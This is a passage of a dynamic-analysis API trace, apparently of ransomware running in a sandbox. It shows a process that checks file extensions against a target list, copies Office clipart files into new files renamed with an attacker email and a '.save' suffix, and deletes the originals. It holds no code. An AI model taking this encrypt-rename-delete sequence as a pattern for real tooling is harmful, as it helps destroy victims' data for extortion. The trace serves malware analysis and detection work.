dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.208] SetEndOfFile (hFile=0x378) returned 1 [0178.211] CloseHandle (hObject=0x378) returned 1 [0178.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 1 [0178.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.213] lstrlenW (lpString=".doc") returned 4 [0178.213] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.213] lstrlenW (lpString=".docx") returned 5 [0178.213] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0178.213] lstrlenW (lpString=".pdf") returned 4 [0178.213] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.213] lstrlenW (lpString=".xls") returned 4 [0178.213] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.213] lstrlenW (lpString=".xlsx") returned 5 [0178.213] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0178.213] lstrlenW (lpString=".ppt") returned 4 [0178.213] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.213] lstrlenW (lpString=".zip") returned 4 [0178.213] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.213] lstrlenW (lpString=".rar") returned 4 [0178.213] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.214] lstrlenW (lpString=".bz2") returned 4 [0178.214] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.214] lstrlenW (lpString=".7z") returned 3 [0178.214] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.214] lstrlenW (lpString=".dbf") returned 4 [0178.214] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.214] lstrlenW (lpString=".1cd") returned 4 [0178.214] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.214] lstrlenW (lpString=".jpg") returned 4 [0178.214] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.214] lstrlenW (lpString=".doc") returned 4 [0178.214] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.214] lstrlenW (lpString=".docx") returned 5 [0178.214] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0178.214] lstrlenW (lpString=".pdf") returned 4 [0178.214] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.214] lstrlenW (lpString=".xls") returned 4 [0178.214] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.214] lstrlenW (lpString=".xlsx") returned 5 [0178.214] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0178.214] lstrlenW (lpString=".ppt") returned 4 [0178.214] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.215] lstrlenW (lpString=".zip") returned 4 [0178.215] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.215] lstrlenW (lpString=".rar") returned 4 [0178.215] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.215] lstrlenW (lpString=".bz2") returned 4 [0178.215] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.215] lstrlenW (lpString=".7z") returned 3 [0178.215] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.215] lstrlenW (lpString=".dbf") returned 4 [0178.215] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.215] lstrlenW (lpString=".1cd") returned 4 [0178.215] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0178.215] lstrlenW (lpString=".jpg") returned 4 [0178.215] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.215] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0178.215] lstrlenW (lpString="J0149118.JPG") returned 12 [0178.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0178.217] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=64802) returned 1 [0178.217] CloseHandle (hObject=0x378) returned 1 [0178.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 0x220 [0178.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0178.588] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.589] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0179.841] GetLastError () returned 0x0 [0179.841] ReadFile (in: hFile=0x520, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0xfd22, lpOverlapped=0x0) returned 1 [0179.847] WriteFile (in: hFile=0x2a8, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xfd30, lpOverlapped=0x0) returned 1 [0179.850] ReadFile (in: hFile=0x520, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.850] WriteFile (in: hFile=0x2a8, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.850] SetEndOfFile (hFile=0x2a8) returned 1 [0179.851] CloseHandle (hObject=0x2a8) returned 1 [0179.851] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.851] SetEndOfFile (hFile=0x520) returned 1 [0179.856] CloseHandle (hObject=0x520) returned 1 [0179.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0179.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 1 [0179.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.859] lstrlenW (lpString=".doc") returned 4 [0179.859] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.859] lstrlenW (lpString=".docx") returned 5 [0179.859] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0179.860] lstrlenW (lpString=".pdf") returned 4 [0179.860] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.860] lstrlenW (lpString=".xls") returned 4 [0179.860] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.860] lstrlenW (lpString=".xlsx") returned 5 [0179.860] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0179.861] lstrlenW (lpString=".ppt") returned 4 [0179.861] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.861] lstrlenW (lpString=".zip") returned 4 [0179.861] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.861] lstrlenW (lpString=".rar") returned 4 [0179.861] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.861] lstrlenW (lpString=".bz2") returned 4 [0179.861] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.861] lstrlenW (lpString=".7z") returned 3 [0179.861] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.861] lstrlenW (lpString=".dbf") returned 4 [0179.861] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.861] lstrlenW (lpString=".1cd") returned 4 [0179.861] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.861] lstrlenW (lpString=".jpg") returned 4 [0179.861] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.861] lstrlenW (lpString=".doc") returned 4 [0179.861] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.861] lstrlenW (lpString=".docx") returned 5 [0179.861] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0179.862] lstrlenW (lpString=".pdf") returned 4 [0179.862] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.862] lstrlenW (lpString=".xls") returned 4 [0179.862] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.862] lstrlenW (lpString=".xlsx") returned 5 [0179.862] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0179.862] lstrlenW (lpString=".ppt") returned 4 [0179.862] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.862] lstrlenW (lpString=".zip") returned 4 [0179.862] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.862] lstrlenW (lpString=".rar") returned 4 [0179.862] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.862] lstrlenW (lpString=".bz2") returned 4 [0179.862] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.862] lstrlenW (lpString=".7z") returned 3 [0179.862] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.862] lstrlenW (lpString=".dbf") returned 4 [0179.862] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.862] lstrlenW (lpString=".1cd") returned 4 [0179.862] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0179.862] lstrlenW (lpString=".jpg") returned 4 [0179.862] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.863] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0179.863] lstrlenW (lpString="J0151055.WMF") returned 12 [0179.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0179.865] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=14632) returned 1 [0179.865] CloseHandle (hObject=0x520) returned 1 [0179.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 0x220 [0179.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0179.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0179.867] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.867] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0179.868] GetLastError () returned 0x0 [0179.868] ReadFile (in: hFile=0x520, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x3928, lpOverlapped=0x0) returned 1 [0179.871] WriteFile (in: hFile=0x2a8, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3930, lpOverlapped=0x0) returned 1 [0179.873] ReadFile (in: hFile=0x520, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.873] WriteFile (in: hFile=0x2a8, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.873] SetEndOfFile (hFile=0x2a8) returned 1 [0179.873] CloseHandle (hObject=0x2a8) returned 1 [0179.873] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.873] SetEndOfFile (hFile=0x520) returned 1 [0180.058] CloseHandle (hObject=0x520) returned 1 [0180.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0180.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 1 [0180.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.744] lstrlenW (lpString=".doc") returned 4 [0180.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.744] lstrlenW (lpString=".docx") returned 5 [0180.744] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0180.744] lstrlenW (lpString=".pdf") returned 4 [0180.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.744] lstrlenW (lpString=".xls") returned 4 [0180.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.744] lstrlenW (lpString=".xlsx") returned 5 [0180.745] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0180.745] lstrlenW (lpString=".ppt") returned 4 [0180.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.745] lstrlenW (lpString=".zip") returned 4 [0180.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.745] lstrlenW (lpString=".rar") returned 4 [0180.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.745] lstrlenW (lpString=".bz2") returned 4 [0180.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.745] lstrlenW (lpString=".7z") returned 3 [0180.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.745] lstrlenW (lpString=".dbf") returned 4 [0180.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.745] lstrlenW (lpString=".1cd") returned 4 [0180.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.746] lstrlenW (lpString=".jpg") returned 4 [0180.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.746] lstrlenW (lpString=".doc") returned 4 [0180.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.746] lstrlenW (lpString=".docx") returned 5 [0180.746] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0180.746] lstrlenW (lpString=".pdf") returned 4 [0180.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.746] lstrlenW (lpString=".xls") returned 4 [0180.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.746] lstrlenW (lpString=".xlsx") returned 5 [0180.746] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0180.746] lstrlenW (lpString=".ppt") returned 4 [0180.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.746] lstrlenW (lpString=".zip") returned 4 [0180.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.746] lstrlenW (lpString=".rar") returned 4 [0180.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.747] lstrlenW (lpString=".bz2") returned 4 [0180.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.747] lstrlenW (lpString=".7z") returned 3 [0180.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.747] lstrlenW (lpString=".dbf") returned 4 [0180.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.747] lstrlenW (lpString=".1cd") returned 4 [0180.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0180.747] lstrlenW (lpString=".jpg") returned 4 [0180.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.747] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0180.747] lstrlenW (lpString="J0152430.WMF") returned 12 [0180.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0180.811] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=14132) returned 1 [0180.811] CloseHandle (hObject=0x538) returned 1 [0180.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 0x220 [0180.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0180.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0180.813] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.813] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.820] GetLastError () returned 0x0 [0180.820] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x3734, lpOverlapped=0x0) returned 1 [0180.822] WriteFile (in: hFile=0x36c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3740, lpOverlapped=0x0) returned 1 [0180.824] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.825] WriteFile (in: hFile=0x36c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.825] SetEndOfFile (hFile=0x36c) returned 1 [0180.825] CloseHandle (hObject=0x36c) returned 1 [0180.826] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.826] SetEndOfFile (hFile=0x538) returned 1 [0181.017] CloseHandle (hObject=0x538) returned 1 [0181.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 1 [0181.019] lstrlenW (lpString="C:\\Program Files\\Microsoft 